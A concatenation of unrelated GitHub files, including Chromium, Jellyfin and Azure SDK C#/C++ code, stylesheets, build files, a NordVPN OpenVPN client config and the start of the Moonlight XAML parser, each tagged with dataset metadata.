&nsubh(1))/FACTORIAL(nsubh(2)),dbl_mb(k_a_sort),dim_common,dbl_mb(k &_b_sort),dim_common,1.0d0,dbl_mb(k_c_sort),dima_sort) IF (.not.MA_POP_STACK(l_b_sort)) CALL ERRQUIT('eomccsdt_y2_18',7,M &A_ERR) IF (.not.MA_POP_STACK(l_a_sort)) CALL ERRQUIT('eomccsdt_y2_18',8,M &A_ERR) END IF END IF END IF END DO END DO IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c,k_c)) CALL ERRQUIT(' &eomccsdt_y2_18',9,MA_ERR) CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+p2b-1) &,int_mb(k_range+p1b-1),int_mb(k_range+h4b-1),int_mb(k_range+h3b-1) &,4,3,2,1,-1.0d0/4.0d0) CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(p2b - & noab - 1 + nvab * (p1b - noab - 1 + nvab * (h4b - 1 + noab * (h3b & - 1))))) IF (.not.MA_POP_STACK(l_c)) CALL ERRQUIT('eomccsdt_y2_18',10,MA_ER &R) IF (.not.MA_POP_STACK(l_c_sort)) CALL ERRQUIT('eomccsdt_y2_18',11, &MA_ERR) END IF END IF END IF next = NXTASK(nprocs,1) END IF count = count + 1 END DO END DO END DO END DO next = NXTASK(-nprocs,1) call GA_SYNC() RETURN END
{ "pile_set_name": "Github" }
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ui/views/widget/desktop_aura/desktop_native_cursor_manager.h" #include <utility> #include "ui/aura/window_event_dispatcher.h" #include "ui/aura/window_tree_host.h" #include "ui/base/cursor/cursor_loader.h" #include "ui/views/widget/desktop_aura/desktop_cursor_loader_updater.h" namespace views { DesktopNativeCursorManager::DesktopNativeCursorManager( std::unique_ptr<DesktopCursorLoaderUpdater> cursor_loader_updater) : cursor_loader_updater_(std::move(cursor_loader_updater)), cursor_loader_(ui::CursorLoader::Create()) { if (cursor_loader_updater_.get()) cursor_loader_updater_->OnCreate(1.0f, cursor_loader_.get()); } DesktopNativeCursorManager::~DesktopNativeCursorManager() { } gfx::NativeCursor DesktopNativeCursorManager::GetInitializedCursor(int type) { gfx::NativeCursor cursor(type); cursor_loader_->SetPlatformCursor(&cursor); return cursor; } void DesktopNativeCursorManager::AddHost(aura::WindowTreeHost* host) { hosts_.insert(host); } void DesktopNativeCursorManager::RemoveHost(aura::WindowTreeHost* host) { hosts_.erase(host); } void DesktopNativeCursorManager::SetDisplay( const display::Display& display, wm::NativeCursorManagerDelegate* delegate) { cursor_loader_->UnloadAll(); cursor_loader_->set_rotation(display.rotation()); cursor_loader_->set_scale(display.device_scale_factor()); if (cursor_loader_updater_.get()) cursor_loader_updater_->OnDisplayUpdated(display, cursor_loader_.get()); SetCursor(delegate->GetCursor(), delegate); } void DesktopNativeCursorManager::SetCursor( gfx::NativeCursor cursor, wm::NativeCursorManagerDelegate* delegate) { gfx::NativeCursor new_cursor = cursor; cursor_loader_->SetPlatformCursor(&new_cursor); delegate->CommitCursor(new_cursor); if (delegate->IsCursorVisible()) { for (Hosts::const_iterator i = hosts_.begin(); i != hosts_.end(); ++i) (*i)->SetCursor(new_cursor); } } void DesktopNativeCursorManager::SetVisibility( bool visible, wm::NativeCursorManagerDelegate* delegate) { delegate->CommitVisibility(visible); if (visible) { SetCursor(delegate->GetCursor(), delegate); } else { gfx::NativeCursor invisible_cursor(ui::kCursorNone); cursor_loader_->SetPlatformCursor(&invisible_cursor); for (Hosts::const_iterator i = hosts_.begin(); i != hosts_.end(); ++i) (*i)->SetCursor(invisible_cursor); } for (Hosts::const_iterator i = hosts_.begin(); i != hosts_.end(); ++i) (*i)->OnCursorVisibilityChanged(visible); } void DesktopNativeCursorManager::SetCursorSet( ui::CursorSetType cursor_set, wm::NativeCursorManagerDelegate* delegate) { NOTIMPLEMENTED(); } void DesktopNativeCursorManager::SetMouseEventsEnabled( bool enabled, wm::NativeCursorManagerDelegate* delegate) { delegate->CommitMouseEventsEnabled(enabled); // TODO(erg): In the ash version, we set the last mouse location on Env. I'm // not sure this concept makes sense on the desktop. SetVisibility(delegate->IsCursorVisible(), delegate); for (Hosts::const_iterator i = hosts_.begin(); i != hosts_.end(); ++i) (*i)->dispatcher()->OnMouseEventsEnableStateChanged(enabled); } } // namespace views
{ "pile_set_name": "Github" }
#pragma warning disable CS1591 using System; using System.Collections.Generic; using System.IO; using System.Threading.Tasks; using Jellyfin.Data.Entities; using MediaBrowser.Controller.Entities; using MediaBrowser.Model.Drawing; using MediaBrowser.Model.Entities; namespace MediaBrowser.Controller.Drawing { /// <summary> /// Interface IImageProcessor. /// </summary> public interface IImageProcessor { /// <summary> /// Gets the supported input formats. /// </summary> /// <value>The supported input formats.</value> IReadOnlyCollection<string> SupportedInputFormats { get; } /// <summary> /// Gets a value indicating whether [supports image collage creation]. /// </summary> /// <value><c>true</c> if [supports image collage creation]; otherwise, <c>false</c>.</value> bool SupportsImageCollageCreation { get; } /// <summary> /// Gets the dimensions of the image. /// </summary> /// <param name="path">Path to the image file.</param> /// <returns>ImageDimensions.</returns> ImageDimensions GetImageDimensions(string path); /// <summary> /// Gets the dimensions of the image. /// </summary> /// <param name="item">The base item.</param> /// <param name="info">The information.</param> /// <returns>ImageDimensions.</returns> ImageDimensions GetImageDimensions(BaseItem item, ItemImageInfo info); /// <summary> /// Gets the blurhash of the image. /// </summary> /// <param name="path">Path to the image file.</param> /// <returns>BlurHash.</returns> string GetImageBlurHash(string path); /// <summary> /// Gets the image cache tag. /// </summary> /// <param name="item">The item.</param> /// <param name="image">The image.</param> /// <returns>Guid.</returns> string GetImageCacheTag(BaseItem item, ItemImageInfo image); string GetImageCacheTag(BaseItem item, ChapterInfo info); string GetImageCacheTag(User user); /// <summary> /// Processes the image. /// </summary> /// <param name="options">The options.</param> /// <param name="toStream">To stream.</param> /// <returns>Task.</returns> Task ProcessImage(ImageProcessingOptions options, Stream toStream); /// <summary> /// Processes the image. /// </summary> /// <param name="options">The options.</param> /// <returns>Task.</returns> Task<(string path, string mimeType, DateTime dateModified)> ProcessImage(ImageProcessingOptions options); /// <summary> /// Gets the supported image output formats. /// </summary> /// <returns><see cref="IReadOnlyCollection{ImageOutput}" />.</returns> IReadOnlyCollection<ImageFormat> GetSupportedImageOutputFormats(); /// <summary> /// Creates the image collage. /// </summary> /// <param name="options">The options.</param> void CreateImageCollage(ImageCollageOptions options); bool SupportsTransparency(string path); } }
{ "pile_set_name": "Github" }
.c-new_locale_toast__close_button { color: $fg; background: $bg; } .c-new_locale_toast .c-link--button:hover, .c-new_locale_toast__close_button:hover { color: $primary; } .c-sk-modal { background-color: $bg; opacity: 0; transition: opacity 80ms linear, transform 80ms cubic-bezier(0.36, 0.19, 0.29, 1); transform: scale(0.95); } .c-sk-modal.ReactModal__Content--after-open:not(.ReactModal__Content--before-close) { transform: scale(1); opacity: 1; } .c-sk-modal__close_button--inverted { background: $primary !important; color: $selectFg; } .c-sk-modal_title_bar__text { h3:nth-child(2) { color: $text; } } .c-sk-modal_title_bar__icon { background-color: $bg; } .c-sk-modal_footer { background-color: $bg; } .c-new_locale_toast .c-link--button:hover, .c-new_locale_toast__close_button:hover { color: $primary; }
{ "pile_set_name": "Github" }
addSbtPlugin("com.lightbend.sbt" % "sbt-javaagent" % "0.1.5") addSbtPlugin("com.lightbend.akka.grpc" % "sbt-akka-grpc" % sys.props("project.version"))
{ "pile_set_name": "Github" }
/* * Copyright (c) Minh Loi. * * This file is part of Ulangi which is released under GPL v3.0. * See LICENSE or go to https://www.gnu.org/licenses/gpl-3.0.txt */ import { SagaConfig } from '../interfaces/SagaConfig'; import { SagaEnv } from '../interfaces/SagaEnv'; export abstract class PublicSaga { public abstract run(env: SagaEnv, config: SagaConfig): IterableIterator<any>; }
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Jun 9 2015 22:53:21). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2014 by Steve Nygard. // #import <objc/NSObject.h> @class NSDictionary; @interface LoginAuthRefMgr : NSObject { struct AuthorizationOpaqueRef *mAuthRef; CDStruct_166d2db6 *mInfo; CDStruct_166d2db6 *mAuthEnvironment; BOOL isExternalized; char *mUser; char *mPassword; char *mOldPassword; char *mHome; char *mAFP; char *mLongName; char *mShell; BOOL mGidInited; unsigned int mGid; BOOL mUidInited; unsigned int mUid; BOOL mPasswordCleared; struct __CFString *mKeyStoreRef; BOOL mMiniBuddyKeychainItemWritten; NSDictionary *mAllAttributes; } - (struct __CFString *)keyStoreRef; - (void)clearPasswordAndSetAppleKeyStoreIfNeeded:(BOOL)arg1; - (void)deleteMinibuddyKeychainItem; - (void)addToAuthEnvironmentBytes:(const void *)arg1 ofSize:(unsigned long long)arg2 forKey:(const char *)arg3; - (int)fusAuth; - (int)login; - (void)loginDone; - (id)generatedUUID; - (id)fileVaultDevicePath; - (id)fileVaultImageURL; - (BOOL)fileVaultMounted; - (id)appleIDAccountName; - (BOOL)isAppleIDAccount; - (BOOL)isManagedAccount; - (BOOL)isGuestAccount; - (short)homeDirVolume; - (BOOL)needToUnmountHomeDirVolumeAtLogout; - (unsigned int)homeDirType; - (const char *)longName; - (const char *)afp_dir; - (const char *)home; - (const char *)shell; - (unsigned int)gid; - (unsigned int)uid; - (const char *)oldPassword; - (const char *)password; - (const char *)user; - (id)allAttributes; - (void)zeroItem:(const char *)arg1; - (id)infoItemAsDictionary:(const char *)arg1; - (id)infoItemAsData:(const char *)arg1; - (BOOL)valueExistsForItem:(const char *)arg1; - (BOOL)boolValueForItem:(const char *)arg1; - (char *)stringValueForItem:(const char *)arg1; - (unsigned int)integerValueForItem:(const char *)arg1 success:(char *)arg2; - (struct AuthorizationOpaqueRef *)authRef; - (void)dealloc; - (id)init; - (CDStruct_166d2db6 *)_info; @end
{ "pile_set_name": "Github" }
client dev tun proto udp remote 185.176.221.170 1194 resolv-retry infinite remote-random nobind tun-mtu 1500 tun-mtu-extra 32 mssfix 1450 persist-key persist-tun ping 15 ping-restart 0 ping-timer-rem reneg-sec 0 comp-lzo no remote-cert-tls server auth-user-pass ../Own_VPN_Config/nordvpnauth.txt verb 3 pull fast-io cipher AES-256-CBC auth SHA512 <ca> -----BEGIN CERTIFICATE----- MIIFCjCCAvKgAwIBAgIBATANBgkqhkiG9w0BAQ0FADA5MQswCQYDVQQGEwJQQTEQ MA4GA1UEChMHTm9yZFZQTjEYMBYGA1UEAxMPTm9yZFZQTiBSb290IENBMB4XDTE2 MDEwMTAwMDAwMFoXDTM1MTIzMTIzNTk1OVowOTELMAkGA1UEBhMCUEExEDAOBgNV BAoTB05vcmRWUE4xGDAWBgNVBAMTD05vcmRWUE4gUm9vdCBDQTCCAiIwDQYJKoZI hvcNAQEBBQADggIPADCCAgoCggIBAMkr/BYhyo0F2upsIMXwC6QvkZps3NN2/eQF kfQIS1gql0aejsKsEnmY0Kaon8uZCTXPsRH1gQNgg5D2gixdd1mJUvV3dE3y9FJr XMoDkXdCGBodvKJyU6lcfEVF6/UxHcbBguZK9UtRHS9eJYm3rpL/5huQMCppX7kU eQ8dpCwd3iKITqwd1ZudDqsWaU0vqzC2H55IyaZ/5/TnCk31Q1UP6BksbbuRcwOV skEDsm6YoWDnn/IIzGOYnFJRzQH5jTz3j1QBvRIuQuBuvUkfhx1FEwhwZigrcxXu MP+QgM54kezgziJUaZcOM2zF3lvrwMvXDMfNeIoJABv9ljw969xQ8czQCU5lMVmA 37ltv5Ec9U5hZuwk/9QO1Z+d/r6Jx0mlurS8gnCAKJgwa3kyZw6e4FZ8mYL4vpRR hPdvRTWCMJkeB4yBHyhxUmTRgJHm6YR3D6hcFAc9cQcTEl/I60tMdz33G6m0O42s Qt/+AR3YCY/RusWVBJB/qNS94EtNtj8iaebCQW1jHAhvGmFILVR9lzD0EzWKHkvy WEjmUVRgCDd6Ne3eFRNS73gdv/C3l5boYySeu4exkEYVxVRn8DhCxs0MnkMHWFK6 MyzXCCn+JnWFDYPfDKHvpff/kLDobtPBf+Lbch5wQy9quY27xaj0XwLyjOltpiST LWae/Q4vAgMBAAGjHTAbMAwGA1UdEwQFMAMBAf8wCwYDVR0PBAQDAgEGMA0GCSqG SIb3DQEBDQUAA4ICAQC9fUL2sZPxIN2mD32VeNySTgZlCEdVmlq471o/bDMP4B8g nQesFRtXY2ZCjs50Jm73B2LViL9qlREmI6vE5IC8IsRBJSV4ce1WYxyXro5rmVg/ k6a10rlsbK/eg//GHoJxDdXDOokLUSnxt7gk3QKpX6eCdh67p0PuWm/7WUJQxH2S DxsT9vB/iZriTIEe/ILoOQF0Aqp7AgNCcLcLAmbxXQkXYCCSB35Vp06u+eTWjG0/ pyS5V14stGtw+fA0DJp5ZJV4eqJ5LqxMlYvEZ/qKTEdoCeaXv2QEmN6dVqjDoTAo k0t5u4YRXzEVCfXAC3ocplNdtCA72wjFJcSbfif4BSC8bDACTXtnPC7nD0VndZLp +RiNLeiENhk0oTC+UVdSc+n2nJOzkCK0vYu0Ads4JGIB7g8IB3z2t9ICmsWrgnhd NdcOe15BincrGA8avQ1cWXsfIKEjbrnEuEk9b5jel6NfHtPKoHc9mDpRdNPISeVa wDBM1mJChneHt59Nh8Gah74+TM1jBsw4fhJPvoc7Atcg740JErb904mZfkIEmojC VPhBHVQ9LHBAdM8qFI2kRK0IynOmAZhexlP/aT/kpEsEPyaZQlnBn3An1CRz8h0S PApL8PytggYKeQmRhl499+6jLxcZ2IegLfqq41dzIjwHwTMplg+1pKIOVojpWA== -----END CERTIFICATE----- </ca> key-direction 1 <tls-auth> # # 2048 bit OpenVPN static key # -----BEGIN OpenVPN Static key V1----- e685bdaf659a25a200e2b9e39e51ff03 0fc72cf1ce07232bd8b2be5e6c670143 f51e937e670eee09d4f2ea5a6e4e6996 5db852c275351b86fc4ca892d78ae002 d6f70d029bd79c4d1c26cf14e9588033 cf639f8a74809f29f72b9d58f9b8f5fe fc7938eade40e9fed6cb92184abb2cc1 0eb1a296df243b251df0643d53724cdb 5a92a1d6cb817804c4a9319b57d53be5 80815bcfcb2df55018cc83fc43bc7ff8 2d51f9b88364776ee9d12fc85cc7ea5b 9741c4f598c485316db066d52db4540e 212e1518a9bd4828219e24b20d88f598 a196c9de96012090e333519ae18d3509 9427e7b372d348d352dc4c85e18cd4b9 3f8a56ddb2e64eb67adfc9b337157ff4 -----END OpenVPN Static key V1----- </tls-auth>
{ "pile_set_name": "Github" }
interactions: - request: body: '{"documents": [{"id": "1", "text": "Microsoft was founded by Bill Gates and Paul Allen.", "language": "en"}, {"id": "2", "text": "I did not like the hotel we stayed at. It was too expensive.", "language": "en"}, {"id": "3", "text": "The restaurant had really good food. I recommend you try it.", "language": "en"}]}' headers: Accept: - application/json, text/json Accept-Encoding: - gzip, deflate Connection: - keep-alive Content-Length: - '315' Content-Type: - application/json User-Agent: - azsdk-python-ai-textanalytics/5.1.0b1 Python/3.8.5 (macOS-10.13.6-x86_64-i386-64bit) method: POST uri: https://westcentralus.api.cognitive.microsoft.com/text/analytics/v3.1-preview.2/sentiment?showStats=true&stringIndexType=UnicodeCodePoint response: body: string: '{"statistics":{"documentsCount":3,"validDocumentsCount":3,"erroneousDocumentsCount":0,"transactionsCount":3},"documents":[{"id":"1","sentiment":"neutral","statistics":{"charactersCount":51,"transactionsCount":1},"confidenceScores":{"positive":0.01,"neutral":0.99,"negative":0.0},"sentences":[{"sentiment":"neutral","confidenceScores":{"positive":0.01,"neutral":0.99,"negative":0.0},"offset":0,"length":51,"text":"Microsoft was founded by Bill Gates and Paul Allen."}],"warnings":[]},{"id":"2","sentiment":"negative","statistics":{"charactersCount":60,"transactionsCount":1},"confidenceScores":{"positive":0.01,"neutral":0.22,"negative":0.77},"sentences":[{"sentiment":"negative","confidenceScores":{"positive":0.01,"neutral":0.45,"negative":0.54},"offset":0,"length":38,"text":"I did not like the hotel we stayed at."},{"sentiment":"negative","confidenceScores":{"positive":0.0,"neutral":0.0,"negative":1.0},"offset":39,"length":21,"text":"It was too expensive."}],"warnings":[]},{"id":"3","sentiment":"positive","statistics":{"charactersCount":60,"transactionsCount":1},"confidenceScores":{"positive":0.98,"neutral":0.02,"negative":0.0},"sentences":[{"sentiment":"positive","confidenceScores":{"positive":1.0,"neutral":0.0,"negative":0.0},"offset":0,"length":36,"text":"The restaurant had really good food."},{"sentiment":"positive","confidenceScores":{"positive":0.96,"neutral":0.03,"negative":0.01},"offset":37,"length":23,"text":"I recommend you try it."}],"warnings":[]}],"errors":[],"modelVersion":"2020-04-01"}' headers: apim-request-id: - 6b290991-4885-41e7-b595-0a80607d8de9 content-type: - application/json; charset=utf-8 csp-billing-usage: - CognitiveServices.TextAnalytics.BatchScoring=3 date: - Thu, 10 Sep 2020 15:25:19 GMT strict-transport-security: - max-age=31536000; includeSubDomains; preload transfer-encoding: - chunked x-content-type-options: - nosniff x-envoy-upstream-service-time: - '85' status: code: 200 message: OK version: 1
{ "pile_set_name": "Github" }
// ---------------------------------------------------------------------------- // Copyright (c) Microsoft Corporation. All rights reserved. // ---------------------------------------------------------------------------- using System; using System.Collections.Generic; using System.IdentityModel.Tokens; using System.Linq; using System.Net; using System.Net.Http; using System.Reflection; using System.Security.Claims; using System.Threading.Tasks; using System.Web.Http; using Microsoft.Azure.Mobile.Server.Authentication; using Microsoft.Azure.Mobile.Server.Login; using Microsoft.Azure.Mobile.Server.Notifications; using Microsoft.Azure.NotificationHubs; using Microsoft.Azure.NotificationHubs.Messaging; using Microsoft.Owin.Security; using Microsoft.Owin.Testing; using Moq; using Newtonsoft.Json.Linq; using Owin; using TestUtilities; using Xunit; namespace Microsoft.Azure.Mobile.Server.Config { public class MobileAppConfigSetupTests { private const string TestWebsiteUrl = "http://localhost/"; private const string SigningKey = "bMyklciUDJxqSxtSiJlSusbiZrMnuG99"; public static TheoryDataCollection<AuthenticationMode, bool, bool> AuthStatusData { get { return new TheoryDataCollection<AuthenticationMode, bool, bool> { { AuthenticationMode.Active, true, true }, { AuthenticationMode.Active, true, false }, { AuthenticationMode.Passive, true, true }, { AuthenticationMode.Passive, false, false }, }; } } [Theory] [MemberData("AuthStatusData")] public async Task MobileAppAuth_Succeeds_AsPassiveAndActive(AuthenticationMode mode, bool isMiddlewareRegistered, bool isAuthenticated) { NotificationInstallation notification = new NotificationInstallation(); notification.InstallationId = Guid.NewGuid().ToString(); notification.PushChannel = Guid.NewGuid().ToString(); notification.Platform = "wns"; using (var testServer = TestServer.Create(app => { // Arrange HttpConfiguration config = new HttpConfiguration(); config.MapHttpAttributeRoutes(); #pragma warning disable 618 new MobileAppConfiguration() .UseDefaultConfiguration() .AddPushNotifications() .ApplyTo(config); #pragma warning restore 618 var pushClientMock = new Mock<PushClient>(config); pushClientMock.Setup(p => p.CreateOrUpdateInstallationAsync(It.IsAny<Installation>())) .Returns(Task.FromResult(0)); pushClientMock.Setup(p => p.GetRegistrationsByTagAsync(It.IsAny<string>(), It.IsAny<string>(), It.IsAny<int>())) .Returns(Task.FromResult(this.CreateCollectionQueryResult<RegistrationDescription>())); config.SetPushClient(pushClientMock.Object); if (isMiddlewareRegistered) { if (mode == AuthenticationMode.Passive) { config.SuppressDefaultHostAuthentication(); config.Filters.Add(new HostAuthenticationFilter(AppServiceAuthenticationOptions.AuthenticationName)); } app.UseAppServiceAuthentication(GetMobileAppAuthOptions(config, mode)); } app.UseWebApi(config); })) { HttpClient client = new HttpClient(new AddMobileAppAuthHeaderHttpHandler(testServer.Handler, isAuthenticated)); client.BaseAddress = new Uri(TestWebsiteUrl); // Act var notificationsPut = await client.PutAsJsonAsync("push/installations/" + notification.InstallationId, notification); var apiNotificationsPut = await client.PutAsJsonAsync("api/notificationinstallations/" + notification.InstallationId, notification); var tableGet = await client.GetAsync("tables/testtable"); var tableGetApplication = await client.GetAsync("tables/testtable/someId"); var tableGetApiRoute = await client.GetAsync("api/testtable"); var apiGetAnonymous = await client.GetAsync("auth/anonymous"); var apiGetAuthorize = await client.GetAsync("auth/authorize"); var apiDirectRoute = await client.GetAsync("api/testapi"); var apiGetTableRoute = await client.GetAsync("table/testapi"); // Assert Assert.Equal(HttpStatusCode.OK, notificationsPut.StatusCode); ValidateHeaders(notificationsPut, true); Assert.Equal(HttpStatusCode.NotFound, apiNotificationsPut.StatusCode); ValidateHeaders(apiNotificationsPut, true); // Succeeds: Api action with no AuthorizeLevel attribute Assert.Equal(HttpStatusCode.OK, tableGet.StatusCode); ValidateHeaders(tableGet, true); // Authorize attribute will deny any unauthenticated requests. Assert.Equal(isAuthenticated ? HttpStatusCode.OK : HttpStatusCode.Unauthorized, tableGetApplication.StatusCode); ValidateHeaders(tableGetApplication, true); // Succeeds: TableControllers will show up in the api route as well. Assert.Equal(HttpStatusCode.NotFound, tableGetApiRoute.StatusCode); ValidateHeaders(tableGetApiRoute, true); // Succeeds: Auth is not set up so no IPrincipal is created. But // the AllowAnonymousAttribute lets these through. Assert.Equal(HttpStatusCode.OK, apiGetAnonymous.StatusCode); ValidateHeaders(apiGetAnonymous, false); Assert.Equal(HttpStatusCode.OK, apiDirectRoute.StatusCode); ValidateHeaders(apiDirectRoute, true); Assert.Equal(HttpStatusCode.NotFound, apiGetTableRoute.StatusCode); ValidateHeaders(apiGetTableRoute, true); Assert.Equal(isAuthenticated ? HttpStatusCode.OK : HttpStatusCode.Unauthorized, apiGetAuthorize.StatusCode); ValidateHeaders(apiGetAuthorize, false); if (isAuthenticated) { string requestAuthToken = apiGetAuthorize.RequestMessage.Headers.Single(h => h.Key == "x-zumo-auth").Value.Single(); JToken responseAuthToken = await apiGetAuthorize.Content.ReadAsAsync<JToken>(); Assert.Equal(requestAuthToken, responseAuthToken.ToString()); } } } private static AppServiceAuthenticationOptions GetMobileAppAuthOptions(HttpConfiguration config, AuthenticationMode mode) { return new AppServiceAuthenticationOptions { ValidAudiences = new[] { TestWebsiteUrl }, ValidIssuers = new[] { TestWebsiteUrl }, SigningKey = SigningKey, TokenHandler = config.GetAppServiceTokenHandler(), AuthenticationMode = mode }; } private static void ValidateHeaders(HttpResponseMessage response, bool isMobileController) { IEnumerable<string> versions = response.Headers.Where(h => h.Key.ToUpperInvariant() == "X-ZUMO-SERVER-VERSION").SelectMany(h => h.Value); if (isMobileController && response.IsSuccessStatusCode) { Assert.Equal(versions.Single(), "net-" + AssemblyUtils.AssemblyFileVersion); } else { Assert.Empty(versions); } var length = response.Content.Headers.ContentLength; if (length > 0) { Assert.Equal("application/json", response.Content.Headers.ContentType.MediaType); } } private static JwtSecurityToken GetTestToken() { Claim[] claims = new Claim[] { new Claim("sub", "Facebook:1234") }; JwtSecurityToken token = AppServiceLoginHandler.CreateToken(claims, SigningKey, TestWebsiteUrl, TestWebsiteUrl, TimeSpan.FromDays(30)); return token; } // CollectionQueryResult is internal so we need to use reflection to make one for mocking purposes. private CollectionQueryResult<T> CreateCollectionQueryResult<T>() where T : EntityDescription { var constructor = typeof(CollectionQueryResult<T>) .GetConstructors(BindingFlags.NonPublic | BindingFlags.Instance) .Single(); return constructor.Invoke(new object[] { null, null }) as CollectionQueryResult<T>; } private class AddMobileAppAuthHeaderHttpHandler : DelegatingHandler { private bool isAuthenticated; public AddMobileAppAuthHeaderHttpHandler(HttpMessageHandler handler, bool isAuthenticated) : base(handler) { this.isAuthenticated = isAuthenticated; } protected async override Task<HttpResponseMessage> SendAsync(HttpRequestMessage request, System.Threading.CancellationToken cancellationToken) { if (this.isAuthenticated) { request.Headers.Add(AppServiceAuthenticationHandler.AuthenticationHeaderName, GetTestToken().RawData); } return await base.SendAsync(request, cancellationToken); } } } }
{ "pile_set_name": "Github" }
// // ManagedXamlParser.cs // // Contact: // Moonlight List ([email protected]) // // Copyright 2010 Novell, Inc. // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to // the following conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // //#define LOGGING using Mono; using System; using System.IO; using System.Xml; using System.Text; using System.Linq; using System.Reflection; using System.Collections; using System.Globalization; using System.ComponentModel; using System.Collections.Generic; using System.Runtime.InteropServices; using System.Diagnostics; using System.Windows; using System.Windows.Data; using System.Windows.Media; using System.Windows.Markup; using System.Windows.Controls; using System.Windows.Documents; namespace Mono.Xaml { internal class XamlParser { internal static readonly BindingFlags METHOD_BINDING_FLAGS = BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic; internal static readonly BindingFlags FIELD_BINDING_FLAGS = BindingFlags.Static | BindingFlags.Public | BindingFlags.FlattenHierarchy; internal static readonly BindingFlags PROPERTY_BINDING_FLAGS = BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.FlattenHierarchy; internal static readonly BindingFlags EVENT_BINDING_FLAGS = BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.DeclaredOnly | BindingFlags.Instance; internal static readonly NumberStyles CORLIB_INTEGER_STYLES = NumberStyles.AllowLeadingWhite | NumberStyles.AllowTrailingWhite | NumberStyles.AllowLeadingSign | NumberStyles.AllowDecimalPoint; internal static readonly NumberStyles CORLIB_DOUBLE_STYLES = NumberStyles.AllowLeadingWhite | NumberStyles.AllowTrailingWhite | NumberStyles.AllowLeadingSign | NumberStyles.AllowDecimalPoint | NumberStyles.AllowExponent; private XamlElement top_element; private XamlElement current_element; private XamlNode reader; private IXamlNode currentNode; public XamlParser () : this (new XamlContext ()) { } public XamlParser (XamlContext context) { Context = context; NameScope = new NameScope (); } public XamlContext Context { get; private set; } public XamlNode Current { get { return reader; } } public XamlElement CurrentElement { get { return current_element; } } public object TopElement { get { if (Context.TopElement != null) return Context.TopElement; return top_element is XamlObjectElement ? ((XamlObjectElement) top_element).Object : null; } } public bool IsTopElement { get { return top_element == null; } } public object HydrateObject { get; set; } public object Owner { get; set; } public NameScope NameScope { get; private set; } public bool CreateNameScope { get { return !NameScope.Temporary; } set { NameScope.Temporary = !value; } } public bool ValidateTemplates { get; set; } public Uri ResourceBase { get; set; } [Conditional ("LOGGING")] static void Log (string str, params object[] args) { Console.WriteLine (str, args); } void XamlNode_OnElementStart (XamlNode node) { reader = node; currentNode = (IXamlNode) node; switch (node.NodeType) { case XmlNodeType.Element: Log ("Next node: {0}", reader.Name); ParseElement (); break; case XmlNodeType.Text: Log ("Next node: {0}", reader.Name); ParseText (); break; case XmlNodeType.Whitespace: Log ("Next node: {0}", reader.Name); ParseWhitespace (); break; case XmlNodeType.SignificantWhitespace: Log ("Next node: {0}", reader.Name); ParseSignificantWhitespace (); break; } } void XamlNode_OnElementEnd (XamlNode node) { reader = node; ParseEndElement (); } void XamlNode_OnAttribute (XamlNode node, XamlAttribute ai) { if (!(CurrentElement is XamlObjectElement)) return; if (IsStaticResourceElement ()) return; currentNode = ai; ParseAttribute (CurrentElement as XamlObjectElement, ai); currentNode = node; } public object Parse (XamlNode node) { try { node.Parse (XamlNode_OnElementStart, XamlNode_OnElementEnd, XamlNode_OnAttribute); } catch (XamlParseException pe) { Console.WriteLine ("Exception while parsing string ({0}:{1})", pe.LineNumber, pe.LinePosition); Console.WriteLine (pe); Console.WriteLine ("string:"); Console.WriteLine (node.OuterXml); throw pe; } catch (Exception e) { Console.WriteLine ("Exception while parsing string:"); Console.WriteLine (e); Console.WriteLine ("string:"); Console.WriteLine (node.OuterXml); throw ParseException ("Caught exception: {0}", e.Message); } XamlObjectElement obj = top_element as XamlObjectElement; if (obj == null) { // We actually return the type of the property here // or the object that it wraps return null; } return obj.Object; } public object ParseString (string str) { try { XamlNode.Parse (str, XamlNode_OnElementStart, XamlNode_OnElementEnd, XamlNode_OnAttribute); } catch (XamlParseException pe) { Console.WriteLine ("Exception while parsing string ({0}:{1})", pe.LineNumber, pe.LinePosition); Console.WriteLine (pe); Console.WriteLine ("string:"); Console.WriteLine (str); throw pe; } catch (XmlException xe) { Console.WriteLine ("Exception while parsing string ({0}:{1})", xe.LineNumber, xe.LinePosition); Console.WriteLine (xe); Console.WriteLine ("string:"); Console.WriteLine (str); throw ParseException ("Caught exception: {0}", xe.Message); } catch (Exception e) { int line = -1; int col = -1; IXmlLineInfo linfo = reader as IXmlLineInfo; if (linfo != null) { line = linfo.LineNumber; col = linfo.LinePosition; } Console.Error.WriteLine ("Exception while parsing string ({0}:{1}):", line, col); Console.Error.WriteLine (e); Console.WriteLine ("string:"); Console.WriteLine (str); throw ParseException ("Caught exception: {0}", e.Message); } XamlObjectElement obj = top_element as XamlObjectElement; if (obj == null) { // We actually return the type of the property here // or the object that it wraps return null; } return obj.Object; } public object ParseFile (string file) { string xml = File.ReadAllText (file); return ParseString (xml); } public object ParseReader (TextReader stream) { string xml = stream.ReadToEnd (); return ParseString (xml); } public static Value CreateFromString (string xaml, bool create_namescope, bool validate_templates, IntPtr owner) { XamlParser p = new XamlParser () { CreateNameScope = 